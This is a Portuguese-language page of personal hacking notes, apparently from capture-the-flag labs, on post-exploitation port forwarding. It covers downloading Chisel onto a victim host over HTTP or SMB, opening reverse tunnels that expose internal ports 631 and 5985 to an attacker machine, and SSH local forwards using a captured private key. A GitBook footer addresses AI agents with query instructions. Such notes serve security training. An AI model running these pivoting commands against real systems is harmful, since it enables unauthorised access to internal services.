> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/post-exploitation/port-forwarding-techniques.md).

# Técnicas de Encaminhamento de Porta

{% hint style="info" %}
**Encaminhamento de porta** é uma técnica de rede que redireciona conexões de uma porta específica em uma máquina para outra máquina ou porta. Isso é frequentemente usado para acessar serviços internos de fora, passando por firewalls ou roteadores.
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel :

### Linux

Primeiro compilamos o Chisel em nossa máquina local:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

Depois, transfira o executável Chisel para a máquina da vítima por meio de um servidor HTTP Python3:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/f682de14077eeaf5d95c5645dba55cf334befc7c" alt=""><figcaption></figcaption></figure>

Em nossa máquina, iniciamos o servidor Chisel:

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

Na máquina da vítima, configure o cliente Chisel para encaminhar a porta 631 de volta para a máquina atacante:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/b219357f39cafb3fbd532dcbd21a68437038e4f1" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Baixando e preparando os arquivos:**/ Baixamos o compactado **Chisel** arquivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Depois de extrair os arquivos, transfira o **Chisel** binário para o alvo Windows:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/16432b0f5e245c2ddefd7af651ee50563e6f00b4" alt=""><figcaption></figcaption></figure>

**Ouvindo na máquina atacante com o Chisel:**/ Inicie **Chisel** em modo servidor na máquina atacante na porta 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Então, na máquina Windows, execute **Chisel** em modo cliente e encaminhe a porta 5985 de volta para a máquina atacante:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/f9de78427ae6dbf475fa306fecdcdb059e4ca2b1" alt=""><figcaption></figcaption></figure>

## SSH :

Redirecionamos as portas internas para nossa máquina e usamos a chave privada do usuário e aplicamos as permissões corretas:

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="/files/043d318b0fd2f2b13f06fe4d1214ce510753aeae" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/post-exploitation/port-forwarding-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
